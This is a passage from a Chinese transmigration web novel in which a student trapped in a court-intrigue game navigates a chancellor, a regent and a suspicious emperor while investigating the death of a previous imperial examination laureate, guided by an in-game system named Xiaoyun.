《征服恶人反派实录[穿游]》
3. 我皇兄的新雀儿
季李一时还没反应过来,眨了眨眼睛,不敢相信自己的耳朵。
难道,封怀礼也好龙阳!看来整个皇室都不怎么正常,他可要好好投靠丞相了,只有靠这个贤明的丞相才能走上正道。
突然从身后传来温润如玉的话音,“王爷,臣裕之与您好久未见了。”
‘小云,这个怕是丞相吧。’ 季李果断忽略掉刚才封怀礼的话,转头去看。
「是的,是丞相冯裕之。」
冯裕之身姿挺拔如竹,一双柳叶眉、淡色的唇。眼角还有些许细纹,一头灰白的发。现在才初秋就披着毛绒绒的毛领,也不知道什么毛的,面容有点病气。
看来当贤臣都病殃殃的呀。季李在心里调侃着未来的上司。
封怀礼哼了一声,他压低了声音响在耳边:“怎么?给你撑腰的人来了?”
季李一愣,这个摄政王说话就说话吧,怎么还咬牙切齿的。
季李偏了偏头,还是当没听到。
冯裕之慢慢挪步走过来,季李朝他拱了拱手行礼,没得到回应。
他从身侧直接走过,朝在白马上的封怀礼行了个礼。
季李顺势走到一旁,看两个神仙打架。
“呵。冯相,听闻您最近都在为科举之事劳心劳力呢。见不到我这个不学无术的闲人,自然是正常。”封怀礼一开口就很讨嫌,说话时朝着他挤眉弄眼的。
“臣失言了。”冯裕之的声音低沉些许,话音一转正式道:“那恭送王爷了,我便携新晋探花郎一同进宫面见皇上。”
“是吗……”封怀礼的声音带着若有若无的笑意,拉长了调子驾马朝季李靠近,季李看到了从封怀礼投下来的影子,像橘子皮被剥开气泡般爆开的汁水溅上来,让他的鼻子又麻又甜的,熏乎乎听到一句:“我再看一眼,我皇兄的新雀儿。”
季李瞪开了眼睛,避开迎面的雪白大马,刚刚还感觉这个马儿还挺漂亮,不过被这个奸臣骑着就不好看了!
白雪像是听到了他的话,突然朝他喷了一口气,季李吓了一跳,一个踉跄差点摔地上。
“哈哈哈哈!还是个胆小的麻雀,那我便走了。”大笑后响起沉沉马蹄声,鞭子抽在马背上,像风一样呼啸而过。
这讨厌的一人一马可算走了。
季李伸手拍了拍自己的脸,懊恼着这下可是在以后的领导丢大脸了,他深吸几口气,走到冯裕之面前。
目光寻到一个身形挺拔的背影,这位应该就是冯相了。
季李攥着手,一低头开口:“老师,学生谢过您了。”
冯裕之没回应,季李看着地面上影子逐渐靠近,双手心漫出一层汗。
冯裕之总算开口了,他轻咳一声,声音里喊着疲惫:“你先起来吧。”
季李往后退了一步,偷偷用眼睛去瞄他的神情。
“怎么了?季明礼。一副没见过的模样。”冯裕之皱着眉头,语气严厉教训道:“早就警告过你,在外不要喜形于色,为人更要磊落。”
“是,学生受教。我一时愣神了!”季李急忙低头道歉,天呀,这冯子明也太凶了,就像他高中最怕的教导主任一样。
两人僵持着,原本在当背景板的公公走了出来,轻笑一声朝两人拱了拱手,声音尖细:“两位大人,跟咱家走吧。一路上误了不少时辰。”
季李顺着台阶,像啄木鸟般直点头。
冯裕之看着不怎么喜欢他,一抚手,整了整厚实的毛领抬脚动作。
季李当然不敢落后了,埋着头只管看路,跟着冯裕之身后像只蹑手蹑脚的小老鼠一样,轻手轻脚的。
又走了几节极长的阶梯,季李有些累了,小声吸着气,一面抬眸看着前人一直挺直的背影,在心里感叹着,果然是人不可貌相,冯相的身子骨还真硬朗。
不像他,走几步就累不行。这古代科技真不行呀,要是有个扶梯多好呀,到时候大臣们上朝的时候,直接在入口就排资论辈选好位置,顺着扶梯到了大厅,一个个的选了阵营还更有精气神口枪舌战。
“大人。”小六子不知何时溜到了跟前,正笑眯眯得看着他,语气含笑:“您这是在笑什么呢?”
“啊!”季李下意识摸了把脸,巴巴用手背擦了擦嘴,偷瞄了眼前方冯裕之的脸色,干咳声道:“我、我在之前没见过怎么壮丽的建筑,不由得看得入神了。”
“正是如此,不过探花郎您以后每日都能上朝觐见的,怕不久就娴熟了。”小六子凑近了些,压低声音道:“日后我等都仰仗大人您呢。”
“不敢!不敢!”季李吓了一大跳,他的上司就在前面呢,怎么就光明正大的攀附上他了,他可是要循着老师做个清官的。
“走吧。”冯裕之落下一句。
季李赶忙跟上去。
……
越往里面走,季李才真是体会到了权利的益处,这精妙的花雕、宏伟的建筑,从游戏虚拟数据变成一砖一瓦的现实,真是精妙绝伦。
季李感叹着,步入殿中,一进门浓厚的檀香直击脑门,入眼的是蓝绿瓷瓶红紫串珠,连垫脚的毛毯都能陷进去,留下个清浅的脚印。
“冯相。”一个尖细低沉些的声音响起,季李看到一个戴着红顶身着灰袍的公公笑眯眯的走来,小六子朝人伏了伏手伴到人身侧站定。
那公公朝他看了眼,语气依旧:“季探花,你们来啦。”
“王公公。”冯相对人点头回礼,淡淡道:“不知陛下?”
王公公笑眯眯回应:“冯相您进去吧,小六子在这儿陪着季探花。”
冯裕之闻言便跟着王公公朝殿内走去了,季李干巴巴朝小六子笑了下。
没见到人影了,季李小心翼翼的往角落挪步。
突然,王公公走了出来,看着季李开口:“探花郎您行礼吧。”
季李愣了一下,还没反应过来,小六子立马跪倒在地了,双手伏过顶,声音洪亮:“陛下万岁万岁万万岁!”
季李再看一眼才发现王公公此时正闭着眼睛,面无表情时皱纹像厚厚的树皮耷拉着,一动不动。
他反应过来,学着小六子的动作趴在地上,盯着地板上繁复的龙纹,金黄龙身盘旋着颗金珠,周遭是几片白云。
季李在心里默数数字打发时间,在数到第二十个八十的时候,突然感到一束灼灼的目光落到他敞露在外的脖颈上,那种飘渺审视物品的冷淡。
季李僵着脖子,感觉手臂发麻,双腿发软,心里显出一个答案,这是那个昏君在打量他。
好吓人。原来古代君王是这个样子的吗?他原本以为,只是个荒怠享乐的昏君。结果连目光都这般威严锐利,完全像只慵懒巡视领土的猛虎出山一举一动间把控着局势。
季李现在开始怀疑起了游戏设定了,现在
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的玄朝真是摄政王把控了局面吗?
不对,之前室友说的是,分成三派。
原来如此,看来这个皇帝虽然名声不好,但依然不是什么好掌握的。
季李胡乱响着,耳旁传出压低声音的呼唤:“探花郎!季大人!”
季李一愣,发现是旁边跪在地上小六子在挤眉弄眼的喊他,刚醒过神,就听到王公公的含笑道:“季大人,您起身吧!”
季李慌慌张张的站起来,腿没站稳差点摔在地上,小六子手脚伶俐得扶了他一把随后又跪到地上了,季李朝他谢了声,自知自己又走神了,王公公怕是喊了他几声了。
他咬着唇看着王公公等着他接下来的指令,不想人又进去了,很快急步出来脸上带着温和的笑:“季大人呀,要不给您搬跟板凳来?”
季李忙摆手,“不用了!不用了!”
那道目光像刀刃般划过他的脸,季李从垂落的重重艳红珠帘缝隙间隐隐看到一道站立的身影,柔白的毛领似躺在血海里气息微弱的白狐。
季李没寻到那昏君的位置,也不敢再看,只垂下头,艰难抗着锐利视线。
“季大人,劳烦您走到帘席跟前。”王公公灵巧向他走近几步,那目光幽幽语调细柔,直钻到他耳朵里像枯萎的狗尾草。
季李惊出一身冷汗,他吞咽几口,刹然间连走路都不知道该怎么走了,真等他走到灼人的帘后才发现自己是同手同脚走来的。
这样太吓人了!不行、不行。季李你可以新时代新青年,封建王朝那一套怎么能把你吓住!我们人人平等,不分卑贱。
季李抬头挺胸直视前方,坚持了五秒,还是把眼睛闭上了。他在心里叹了口气,安慰自己,算了算了,这就是个游戏,就当做cosplay吧。而且,他的命可真是被这个游戏束缚住了,要是任务失败,他就回不到现代了。
“季明礼。”突然,冯裕之开口了,他不知道什么时候走到了跟前,目光依旧淡淡的,提醒着:“该走了,行礼退下吧。”
季李赶忙睁眼,慌慌张张行礼跟着冯裕之往外走。
他走得着急,几次要踩上冯相脚后跟,冯裕之顿住了,季李差点撞上去,正好对上冯裕之探究的目光。
“这不是你自己选的路吗?现在又后悔了?”冯裕之语气含着怒意。
季李脑袋里一团浆糊,刚想随便说几句解释。
身后响起噔噔噔的脚步声。
来人是王公公,他遥遥得喊:“季大人、冯相,你们等等!”
季李转过身,看到人手上端着个紫檀木盒笑盈盈走近,他偏头想问这是不是昏君送给冯相的东西,结果盯眼一看,冯裕之离他足足有两米远,两臂交叉置于胸前,侧对着他望着不远的金狮子。
什么意思,难不成王公公是来找他的。季李连忙朝人拱手致意。
“哎呀。季大人,陛下让奴才把这东西给你。”王公公笑着将盒子呈上,双手拢回袖子里。
季李:"这是?"
王公公淡笑不语。
季李赶忙打开盒子,一看,竟然是他嘱咐王七拿给李小五一行人的金手镯。
他心头一惊,迟疑着看向王公公,捏着金镯的指尖发颤。
“陛下让老奴转告大人,自己的东西可要收好了,莫不要让有心人捡了去。”王公公脸上的笑意变淡,浑浊的眼珠子里看不清情绪。
4. 季明礼是断袖
季李支支吾吾不知该如何回答。
王公公已换了副神情,笑眯眯得开口:“陛下还让老奴禀告您,事不过三。”
“臣谨记。”季李攥紧了金镯,拱手回应。
原本季李还念着出宫的路上,要向冯裕之打探消息,顺便再多多表现自己,愿为上司分忧的热忱之心。
可王公公一席话,完全打乱了他的思绪。
一面是开始担心季老四一行现在的处境……等等!
他们会不会已经被动用私刑了!季李心乱如麻,咬着唇,在心里唤,‘小云、小云!你能打探到季老四他们目前的处境吗?’
「滴~抱歉玩家,小云目前没有这个功能。不过,小云建议你可以向丞相询问。」
季李当然知道这个选项,但是从他见到这个贤明丞相的第一面,他就敏锐得发现,冯裕之似乎不怎么喜欢他,对原身季明礼有种怒其不争的情绪。
算了、算了。大不辽,等会儿又挨一顿训。季李定下心,几步跟上冯裕之,露出个讨好的笑语气小心:“老师,这次谢谢您啦。”
冯裕之偏了偏头,皱着眉,单手成拳虚掩咳了几声,淡淡移开目光,声音透着疲乏:“你已经不是我的学生了。”
“那、那冯相?”季李不着痕迹瞧他的反应,现在他必须要死皮赖脸黏上他,不抱好这个大腿,他的日子更不好混了。
冯裕之突然笑了,定定看向他,像是要看透他的灵魂,眼神里带着些犹疑,“你想问什么?”
季李吓得一愣,崩着脸,当下也不管自己是不是被人看出端倪来了,毕竟这个时代也没有魂穿、穿越的说法吧。
“老师,学生是想问,季小五他们?”季李攀着关系。
“你还是不知悔改,非要置人于死地才更罢休!”冯裕之微微弓着身子,忍下喉咙的痒意,凛然训起他。
什么?是原身要死了季小五他们?季李思绪如潮,老老实实朝冯裕之拱了拱手,忏愧道:“老师,学生知错了!我只是担心他们的安危。”
冯裕之懒得看他表演,一拂袖飘然离去。
季李没听到回应,挨了半响才发现冯裕之已经走了,他才急急忙忙跟上去。
现在他确认了季老四的处境,又要考虑一下自己了,一方面是昏君转交给他的金手镯,还有一句‘事不过三。’原身是又做了什么事情吗?为什么昏君会说这句话。
一方面是冯相,原本他想着这是原身季明礼的老师,必须要好好巴结上去,表表忠心。结果,听冯裕之的话头,人根本是不要这个学生了!
什么呀,季明礼不会是干了什么丧天害理的事吧!
‘小云。你给我解释一下原因。’
「好的。目前可以得知的剧情是,季明礼为了当上探花郎投靠了当朝吏部侍郎之子,林渊。而吏部侍郎是为摄政王一派,冯相得知此事后,让季明礼关了禁闭,不让其去科考。后季明礼私自跑了出去。」
‘是吗?可是季明礼为什么要吏部侍郎的儿子,投靠了就能当上探花郎了吗?被关了禁闭轻易就能逃跑的吗?’
「请玩家自行探索真相。滴——更新任务:调查探花郎暴毙一案。」
‘你这个游戏的剧情线也太离谱了?什么都不说?我就不完成任务!’
「小云也没有办法~季李加油!加油!」
季李懒得理它,一个ai还装模作样的撒娇,设计得也太恶心了,虽然说不完成任务,可他也不能真的不去,他要主动出击。
一路他都埋头在思考,突然,耳边响起个声响:“老师,您回来了啦!”
季李抬头一看,是个意气风发的少年,一身白衣正朝着冯裕之笑着,半响才注意到他的目光,脸上的笑容更大了。
匆匆朝他走过来,一手拍在他肩膀上,语气激动:“明礼,你总算回来了。你可不能再惹老师生气了。你让师兄我担心了好久,以后不能再任性了。”
季李一脸无措,在心里唤着小云的名字。结果这ai根本不理他。他只好张开手臂任由‘师兄’抱着他,一会儿揉着他的脸,一会儿捏着他的手臂。
“师、师兄。”季李慢半响应着,试探着看向在一旁站着面无表情的冯裕之,见他脸色苍白掩着唇又咳了好几声,他总算找到理由,一脸不安:“我们快进去吧。老师怎么咳得怎么凶?”
师兄才反应过来,朝冯裕之笑了笑,不好意思得挠了挠头,又笑嘻嘻得看着季李。
他们一行人往相府里面走,师兄还拉着季李的手,凑在他耳旁埋怨着:“好你个季明礼,一心只想着老师。真要说,还不是因为你,这几天,我们相府的门槛都要被塌平了,全是因为你和那个、那个登徒子。连你当上探花郎,都被怀疑……”
“好了。”冯裕之淡淡开口,打断他们的交谈,目光落到被吓得站直,神色慌张的少年身上,语气平淡:“宗文意,你跟我过来。”
宗文意像鹌鹑一样直点头,见冯裕之一走,颇为不舍的捏了捏季李的脸,笑眯眯的开口:“好了,明礼你先去休息。等我和老师说完话,我再来找你。”
季李往后躲,不再让他捏,就这短短一段路,这个宗文意就捏了他起码五十下脸了,他只觉得脸疼,忙不迭说:“师兄,你快去吧!不用担心我。”
“好呀,你小子!”宗文意露出伤心的表情,装得可怜:“之前还非要和师兄睡在一起,现在我摸都摸不得了。我这不是怕你还在伤心吗?”
季李被他说里的内容震惊了,原身季明礼不会是个断袖吧!喜欢冯裕之不够,还喜欢宗文意,又去惹林渊,还招上了昏君。
季李只感觉处境艰难,名声不保,四面楚歌。
他这一愣神,宗文意又揉了揉他的头,才施施然跟上去。
季李好半天,才叹了口气。
「季李、季李。你没事吧」小云又冒出来了,话音听起来饱含关切之情。
季李摇了摇头,他都难得吐槽小云在关键时刻掉链子的可恨了,‘小云呀,你不会是在偷偷看我笑话吧。’
‘季明礼的卡牌介绍都是骗人的吧,我看他就是在四处招惹,很想入宫的吧!’
「季李。你、
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你知道了?」
‘……不是吧。那前探花郎也是因为季明礼死的?’
「不全是。但是有关系。」
季李真是无奈了,季明礼的剧情线也太离谱了,不光是个断袖,还是个左右摇摆的墙头草,‘你直接说了吧。反正我等会儿就知道了。’
「小云只知道,季明礼很喜欢冯相。他是为了冯相入宫的。」
‘啊?’季李原本只想知道,前探花郎是为何而死,现在倒是把季明礼的少年心事弄清楚了。
算了。季李决定先把原身的私人情感放一边,他现在还有更重要的事。
要先把自己的名声弄回来。季李越想越无语了。
前探花郎之死不是季明礼导致的。其他的,像什么墙头草、想入宫当妾、还喜欢自己老师……这些都是原身自己作的。
季李决定不能再等了,他从板凳上站起来,要推开门往外走。
门开了,落日的光直直洒进来。
宗文意逆着光,神情沉沉朝他走来。
季李现在莫名有些心虚,挪步隔着桌子看向他,眼角捕到一抹柔白的光影,挺立如竹的身影站在庭外的玉兰树下,几片玉兰花瓣落到亮盈色毛领上。
季李下意识收回视线,怎么冯裕之和宗文意都来了。
“师、师兄。”季李磕磕绊绊唤他。
宗文意背过身,关了门,早前嬉戏纵情的神情已隐得干干净净,他抿直了唇,目光像针尖般落下来,语气冷冽:“季明礼,你为什么后悔了?”
季李没想到,这个刚才还兄弟情深的师兄现在像是翻了脸,像是在看一个陌生人。
但是季李根本不知道更多内情,只知道原身季明礼是喜欢冯相,还为了他老师要进宫。
季李到现在才意识到,这一路,他怕是真的崩了人设,宫里,冯裕之犹疑得看他、殿内,昏君灼灼目光……还有面对,熟悉他的师兄,自己的迟钝。
季李一咬牙,果断跪拜在地,声泪泣下:“我、我不愿离开老师。”
“哼!”宗文意像是气极,脚步震地,一声一声要敲到他心上。
宗文意就停在他身前,半响,慢悠悠蹲下身,手指捏着他的下巴,生生要他抬起头来,看他是个什么嘴脸。
季李只感激自己刚才心狠,想着要做戏做全套,狠掐了把大腿,疼得他眼冒泪花。
宗文意看着他这张貌美的脸,眼尾艳红的红似火烧到他心尖,珠白的唇正正咬在唇中幽人的痣上,透亮盈粒的泪挂在细长的睫上。
“你又不死心了?”宗文意像是在叹息,一阵灼热的气息直直迎在他眼睛里,季李心里莫名,面上眨眼避闪。
“我想陪着老师。”季李在心里捣鼓着话,攥紧了衣料,不知道能不能骗过宗文意。
不轻不重的揉弄在耳骨,燎人的烫意顺着他整个耳朵,宗文意完全是仗着季李老实,肆无忌惮起来,那手指挪移到耳后,指节贴着皮肉拨弄到了脖颈。
季李愣了一下,突然反应过来,这宗文意怎么、怎么动手动脚的,他好像是被吃豆腐了!
5. 撞上封怀礼
「滴~人物信息:宗文意冯裕之义子、此次状元郎」
小云突兀冒了出来,季李很快反应过来,就是宗文意的行为奇怪,那也是针对原身。而且不管怎么样,只要他不搓破,宗文意就只是季明礼的师兄。
季李忍下想肘击人胸口的念头,闪躲强硬得站起身,把宗文意推离,看到面前人神情慌慌。
季李干巴巴笑了几身,不着痕迹得留在脸上的烫意,眼神飘忽:“师、师兄,师弟恭喜你高中状元了。我就先走了。”
他说完不等人回答,大步往外走,越走越快,推开门的那一瞬几乎是在跑了。
在他身后,宗文意盯着人温热柔软的身影,眼前晃过艳红唇肉上的黑痣,他垂眉眼眸深深落在手心,刚燎心的触感似烙印。
季李不知道宗文意在想些什么,他也不在意,等他跨出房门,一阵微凉的秋风携着亭亭玉兰花香袭来,他吸了吸鼻子。
目光在树下的背影停了半刻,季李揪着衣袍,苦恼,要不然他还是悄无声息得离开,毕竟人赏花赏得挺专心的。
在季李纠结之际,略显冷硬的话语响起:“既然你不愿意走,前探花郎暴毙而亡的真相就由你接手。”
“可……”季李只说了一个字,冯裕之就打断了他的话,语调里带着讥讽:“这是陛下的要求,如果办不到,我也不便插手。”
季李本来是想说,他这个替补上位的探花郎,也是嫌疑人之一吧。
算了。季李叹了口气,行礼应下:“明礼幸不辱命。”
“……”冯裕之没有说话。
季李在原地站了一会儿,开口:“那学生先去看看季老四他们?”
“去吧。”
……
幸好小云还有地图的功能,不然季李一个人,在没什么地标的京都城里逛多半是会迷路的。
季李走上了京都的主干道,朝西是往大牢的方向。
霞色的太阳坠到山腰了,落日余晖晃晃,翻过一溜山丛,极目远眺是平坦田地。
金脆光点细细闪动,再细看,只是一片水洼。
季李一穿进游戏里就绷着心神,现在远离了主剧情人物,好歹可以放松一下,他按揉了下脖颈,脚步轻快了些,哼着歌饶有兴致得打量着街边的小摊。
精巧的手工编织花篮,上面好像是朵花。
摊主是个老汉,他神情焦急得向外探,朝着季李开口:“大人,您要买一个不?我们可得收摊了。”
“没事、没事。”季李一愣,不好意思的摸了摸口袋,只有几锭银子了,他还得去打赏看守的。
现在天色还不晚,他好奇得问:“老伯,您是家中有事吗?怎么早就收摊了?”
那知他话音一落,周遭的摊贩像是听到了哨令,个个神色匆匆收拾起来。
那老伯今日收益不好,本就郁郁在心,一听人问,摸着泪:“我看你也不像京城人,自然是不知的,最近酉时末街上可不敢有什么摊子了。若是碰上……”
老伯说着,像是见到什么赫人的怪物,神情发白,背上竹篓作势要走。
季李急忙跟上,语气小心:“老伯,您可否多说几句。”
“我、我可不敢说什么。”老伯慌忙摇头。
旁边年轻些的老妇似是听到他们的动静,一出声语气愤然:“小书生,我看你也不要多管闲事了。只怪高四运气不好,最近入账不好,怕是家中老娘都留不下来了。”
“小生冒犯了。”季李从兜里掏出几块银子悄然塞进老汉竹篓里,歉意让出道来。
“没、没事。”那老汉只摆手。
突然,一阵马蹄声沉闷响起,街上的泥尘抖动,浮尘飞舞。
季李眯眼一看,从落日里闯出一行骑马少年,个个衣衫华丽,潇洒肆意极了。
众人像是在赛马比赛,马鞭急急扇在马背,马声尖鸣,惊起枝头鸟。
季李认真打量着他们,带头的少年纵马而过,好像朝他看了一眼,没来得及反应,衣袍被人扯动,季李不明所以得看着老伯。
“就是这群人吗?”季李思着语词,“他们在街纵马,扰乱……”
“别、别说了。我们可管不辽!”老伯压低了声音喊,又摆了摆手和妇人转身离去。
“老伯。”季李朝他唤了声,没等来人回头。
‘小云,那群人是谁?’季李只好求助系统。
不知道是不是在游戏里呆久了,季李竟然有种冲动,就好像他能够理性完美得去解决这些不对的事,他应该去做。
「滴~带头的少年是吏部侍郎之子林渊,其余人都是林渊的结党。」
‘那、他们在街上纵马是不对的吧?’季李不知道自己到底想做什么。
「是的!不过,小云建议你不要和他们起冲突,林渊的姑姑是当朝贵妃。吏部侍郎是摄政王一派。」
季李没有再说话了。他埋着头走了一路,也想了一路。
按理说,这不过是个游戏,他只用完成现在的任务。而且,他还应该审时度势看清自己的处境,不要去惹是生非。
‘小云。’季李叹了口气。
「我在!」
‘这真的不是我的任务吗?这不应该是什么支线任务吗?’
「……滴——小云没有权限查询。」
季李深吸了一口气,应了声,‘好吧’。
……
走到监牢门口。
季李突然想到一个问题,如果他以真面目去问季小五他们肯定套不出什么话来。
这般想着,他戳了戳系统,‘小云,你能改变面容不?’
这次,小云很快上线,「不可以哟。不过,季李,你可以用戴个面具。」
‘戴面具都能进去?’季李有些不信,不过还是尝试了一下,用布遮着脸。
走到狱守口,拿出早就准备好了打点,小心塞给了门口的守卫。
那守卫竟不问他的身份,直接带他进去了。
越往里走,阴冷潮湿的霉味更重。石壁上插着的火把不亮,只有刺鼻的烟气。
季李刚跟着门口的守卫拐了一个弯,那人突然停了下来,掂了掂银量,语气淡淡道:“这点银子只够你走到这儿了,你站在这儿喊吧。”
“这……”季李着实没想到这守卫怎么贪心,他心里气怒面上却是笑容满面,灵巧得取下金手镯,双手递上去,讨好得说:“大哥,是小人不懂事,您看?”
守卫一把拽过去,脸上的笑容更真切了些,取下腰间挂着的钥匙,晃了晃,意味深长的开口:“若是,再有两个,可换一人。”
“不用了。”季李愣了一下,暗骂这贪婪的狱守,竟然一点规矩都不受了,把一个蒙面的人放进来,三
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个金手镯就能直接换走人犯。
守卫哼了一声,不再说话,将人带到地方,转身就走了。
季李懒得理他,只想,就看他手里的金手镯拿得稳吗?
季李愤愤想完,朝牢狱走近,看到两个背对着他而坐的人,隔着铁杆喊:“季小五、季老四,是你们吗?”
季老四动了动,挪步过来,像是疑惑:“你是何人?”
季李自然有借口,当下便回:“是冯相让我来救你们的,你把事情的经过都告诉我,我会救你们出去。”
“冯、冯相!?”季老四一惊,神情闪动,几步蹿上来,攥紧了铁杆开口:“王运的死都是季明礼害的。”
季李愣了一下,语气干涩:“这又是怎么回事?”
“季明礼。你不要猫哭耗子假慈悲了。”一个角落阴森森的声音传来,季李看着季小五转过身,眼瞳飘移落在空中,一字一句落下:“王运只是你向上攀附的手段,我想,你又看不上林渊了吧?”
季李当然面不改色,本来他就知道,原身是惹了不少祸事的。
季明礼被骂正常。他季李可不能对号入座。
季李念及人设,开口:“这是人之常情,但我没想过让王明死,这不是我所为。”
“那你来这里干什么?”季老四插嘴。
“我把事情查清楚,你们就能被放出去。”季李如实回答。
季小五似笑了一声,开口:“你自身都难保。不过,我可以把真相告诉你。”
“好。”季李往前一靠,“我会竭尽全力救你们出去。”
“林渊。”季小五只说了一句话,突然身后响起一阵慌乱的脚步声。
季李记下名字,又定定看了缩回角落的两人,转身往外走。
他一面走,一面把脸上的布扯了下来,这又是怎么了?
季李刚踏出地下牢房,一探头,看到坐在藤椅上的封怀礼。
他右手边放着个金笼,里面关着只灰绒红喙的麻雀。
男人左手捏着个金手镯,正饶有兴致的晃动,微微抬头,丹凤眼望过去,琢磨着唇上的小痣。
“不呆在宫里、也不呆在相府。”封怀礼站起来,一摆袍,探身向他走来,俯下身目光幽幽看着他,气息喷洒在额前:“要不要来我府上。”
“你想要什么我给什么。”封怀礼靠得越来越近,季李不得已往后踏了一个台阶,这才更是要仰头才能看到他的脸。
难道,这季明礼怎么厉害还和摄政王都攀上关系了?不对呀,他入宫的时候,封怀礼骑在马上明显是第一次见到他的样子。
季李思绪如潮,对了,对了,人设!季李有了主意,朝他乖巧得笑了笑,语气疏离:“殿下,臣还赶着回去给老师报信,实在是不巧。”
“喔?”封怀礼一伸手掌在他腰上,指尖时不时点动,偏过头脸颊落在暗处看不清亮意,半响他凑到耳侧来,唇齿蹭在烫人的肉上,一张一息:“我们总会再见的。”
强硬灼热的指腹不容抗拒得握上了手腕,季李心里一跳,微侧着避开封怀礼的唇,下意识抬头,偏看到金手镯又被轻轻柔柔带了上去。
做完,封怀礼径直收回手,带着一大群人施施然离去。
好半响,季李脚步一重一轻得走出来,就看到门口停着个轿子,那王七就守在旁边弓着身子请他进去。
6. 你这登徒子!
“不、不用吧。”季李当下拒绝了,结果见人还弓着身子不动,上前几步开口:“王七,你起来吧。”
王七还是一动不动。
季李不着痕迹得看了看抬轿的人,俯下身小声交谈:“真的。而且你今天才帮我办了事,我还没有感谢你。这样,以后私下里我们就以朋友相称。”
王七连忙摇头,但还是站起身了。
季李以为事件办妥了,毕竟吧,他现在对轿子这个东西都应激了,一想到轿子就感觉是要抬进皇宫去。二来,他不想让自己太舒服了,多走走,多看看。他才更知道自己到底是谁。
他简单又说了几句,转身离开。
才走几步,听到身后传来磕碰的动静。
季李脚步一顿,堪堪偏头,就看到连同王七以内的五人都跪倒在地,砰砰砰磕着响头。
“你们这是干什么?”季李心里涌上一股莫名无力感,攥紧了袖子目光扫向跪地的五人。
半响,王七才抬起头,额头上有一块青紫的印记,他开口:“季大人,您若不上轿。我等几人就没了用处,也不敢偷活。”
季李听他一字一句到也听得明白,就是合在一块了,他怎么就不懂了?有怎么严重吗?
「滴~季李,要不然你直接走吧。依小云看,他们就是在道德绑架你!」
季李本来就烦,现在这个系统又冒出来,更烦了,他不免迁怒,‘闭嘴,你别说了。’
季李在心里说完,还是老老实实走了回去。
轿子被人抬了起来,王七挪了几步正正趴在入口处,完完全全挡了道。
季李都快被气笑了,咬牙问:“是谁让你们来的?是摄政王?还是昏、陛下?”
王七没说话。
季李一摆手也不问了,一手拉着轿门,还是踩到了王七背上,他借力总算攀上了轿子,心里只有一个想法。
他必须要锻炼了!原身的身体就像白斩鸡一样,手臂一点肌肉也没有,刚才他好歹没爬上轿……
在轿子里坐稳了,季李掀开帘子,看着移行的路径,一面在心里感叹,他今天才让丞相把他从宫里救出来,现在不会兜兜转转又回去吧。
‘小云,探花郎的任务完成没有?’
「报告,目前还没有完成。任务进度为21%。」
‘已经进行怎么多了?’季李一听,还挺高兴的。本来他以为任务条是一点没动的,现在反倒是放松了一些。
还有心思看看外面的落日。
真好看呀。季李在心里感叹着,也不知道,寝室里我种得花怎么样了?有人浇水没呀?
在脑袋里胡七胡八想了一堆,他再往外看时,发现这不就是回相府的路吗!?早说呀,回相府他又不怕。只不过,为什么非要坐轿子呀。
是冯裕之吩咐的?不可能!多半,是宗文意喊的,他这个人是有点奇怪的。
到了地方,季李直接往房里走,也没搭理始终跟在自己身后的王七。
毕竟,他现在还在气头上。他就没想到,这王七咋怎么犟呢?季李坐回凳子上,灌了口茶,也想明白了。
他瞧了眼站在一角,装背景板的王七,轻咳一声道:“王七,你先把门关了。”
“是。”王七轻巧走了过去,合了门。
现下,就剩他和王七两个人了,也好说话,可能王七是季李在游戏世界里第一个求助的人,他还是想把人拉入麾下,或者说,做个朋友。
“现在也没有别人了。王七,我且问你,这金镯你有没有交到季小五他们手里?”季李两指捏着手镯,轻晃,目光落到王七脸上,细细看着他神色。
王七一听,‘腾’一声跪倒在地,双手交叠伸到额前,“大人,小人有罪。小人将玉佩交于冯相后,转头遇到了宗少爷,让我把事情交待清楚。那手镯也一同交于了宗少爷。”
“好。你先起来。”季李收回视线,将手镯戴回手腕上,站起身,俯身走到王七面前拉他起来嘱咐道:“这次,我不怪你。不过,我有一个要求,在无旁人在时,你我二人也不是什么主奴。”
“季大人。小人不敢!”王七眼角泛红,涨出血丝作势还要跪倒在地。
季李差点拉不住他,再次下定决心一定要好好锻炼了,不然这个身体怕以后风吹就要倒。
“算了。我也不为难你了。”季李收回手,转过身道:“你先去包扎一下伤口吧。”
王七应声离去。
季李看着他的背影,颇为不死心。算了,也不要培养什么心腹了,如是后面被抓了,他们肯定会受到牵连。
……
夜色沉沉,初秋时节,暮色里雾茫茫的,似乎是下了些雨。
季李伏在案前,琢磨着王七取来的案件证据,前探花郎,王运生平。客栈小二掌柜们的口供……
事件大致也还原清晰了,当日王运夺取探花郎一名,白日照例骑马采花,晚上和昔日同窗季小五一行人喝酒忆往昔。结果半夜的时候,季小五听到隔壁传来一声惊叫,一看,发现王运自缢在屋内,留下一封书信,信上写着,渊。
本来事情很好查明的,季小五他们在饮酒时,无意探到一事,原来林渊和人打了赌,压王运和季明礼谁夺下探花郎。林渊压得是季明礼,结果探花郎却被王运夺了。他当日偏说,就算王运当上了又怎么样,只有活人才坐得稳。
季小五拿着书信要去报案,谁知路上,撞伤了眼睛。再一醒来,他口中的信不见了,眼睛也看不见了,谁也不信他。
季李翻来覆去看着,季小五写下的证据,显然他此时是看不见,前半段,字字重叠在一起,墨迹血迹混在一起,根本辨认不清。
“哎。”季李看得清楚,这件事八九不离十就是林渊所为,而季明礼恐怕也求了林渊的,但看牢狱里季小五的反应,季明礼应该没有狠到要害人性命,但事情发展到这一步。
‘吱哑’一声,房门被推开。
季李手一松,墨笔撂到桌面,抬头,就见冯裕之披着厚实毛领,手捧着个金丝暖手袋,慢悠悠朝他走来。
“老师。”季李放下纸张,一时有些不知所措,这宗案子连他都看得明白,冯裕之怎么可能看不懂,审讯的官吏怎么可能不明白?
自缢?两字说得清楚吗?
“您怎么来了?”季李讨笑着朝他走过去,拉开椅子让他坐下。
冯裕之向他摆了摆手,病气的脸上似乎被屋里的暖色熏得发红,眼睛水盈盈的,掩着面轻咳几声:“我、我见你书房的灯还亮着,怎么晚了,快休息吧。”
“谢谢老师了。”季李围在他旁边,总感觉冯裕之像个热球,向外冒着热气。说起来,就算原身对
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冯相感情暧昧不清,但是,他对冯相还真是很有好感的。
有距离感、又有真实感。
一个贤明臣子,对待学生严厉又爱惜,恐怕在冯裕之眼里,他这个学生,可以说成是叛逆了,心思过距。
一个畏冷体弱的丞相。
冯裕之看了眼桌上的案纸,收回目光,语气依旧冷冷的:“明礼,有些事情是不能挽回的。若你还要做回我的学生,就要付出应有的代价。”
